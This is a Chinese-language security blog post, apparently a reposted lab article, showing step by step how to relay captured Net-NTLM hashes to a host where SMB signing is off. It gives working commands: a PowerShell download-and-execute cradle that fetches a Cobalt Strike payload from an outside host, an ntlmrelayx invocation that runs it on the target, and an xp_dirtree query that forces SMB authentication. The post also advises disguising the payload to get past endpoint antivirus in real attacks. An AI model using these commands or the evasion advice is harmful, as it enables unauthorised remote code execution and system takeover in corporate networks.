前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >内网Hash转发攻击

内网Hash转发攻击

作者头像
Ms08067安全实验室
发布2024-06-13 18:17:00
810
发布2024-06-13 18:17:00
举报

Hash转发

如果我们捕获到NTLM hash的域用户是某台远程主机的本地管理员,我们则可以执行pass-the hash攻击来获得远程代码执行。虽然Net-NTLM hash不能直接用来hash传递,但我们可以将它转发到另一台主机。

需要注意的是仅在SMB签名被禁用的情况可以转发。SMB签名仅在域控是默认启用的。在我们的例子中,服务账户SQLSvc是appsrv01的本地管理员。在转发成功后,可以执行我们指定的命令。这里我们执行一个cobaltstrike PowerShell上线命令。先对要执行的命令进行编码:

代码语言:javascript
复制
$text = "IEX ((new-object net.webclient).downloadstring('http://1.2.3.4:8000/a'))"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)
$EncodedText = [Convert]::ToBase64String($bytes)
$EncodedText

Base64编码PowerShell命令

接下来,使用ntlmrelayx.py转发捕获的hash,-t指定转发的目标主机IP,这里为appsrv01的IP,-c指定要执行的命令:

代码语言:javascript
复制
sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.3.21 -c 'powershell -nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAG...'

然后在win10执行ESC程序强迫dev-DC01上的SQL服务发起一个SMB请求,下面IP为kali 的IP:

代码语言:javascript
复制
set instance dev-dc01.dev.ms08067.cn
EXEC master..xp_dirtree '\\192.168.3.104\test'
go    

xp_dirtree强迫SMB认证

如果执行成功,kali将会收到请求:

ntlmrelayx接收到请求

cobaltstrike beacon成功上线:

Hash转发cobaltstrike上线

在不破解密码hash的情况下,我们获得了appsrv01的system权限。

需要注意的是,这里只是为了介绍Hash转发的概念,所以APPSRV01的Windows defender是关闭状态。在实际场景,需要对cobaltstrike的PowerShell代码进行免杀,或者使用其他类型的shellcode加载器来绕过终端安全软件。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-06-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档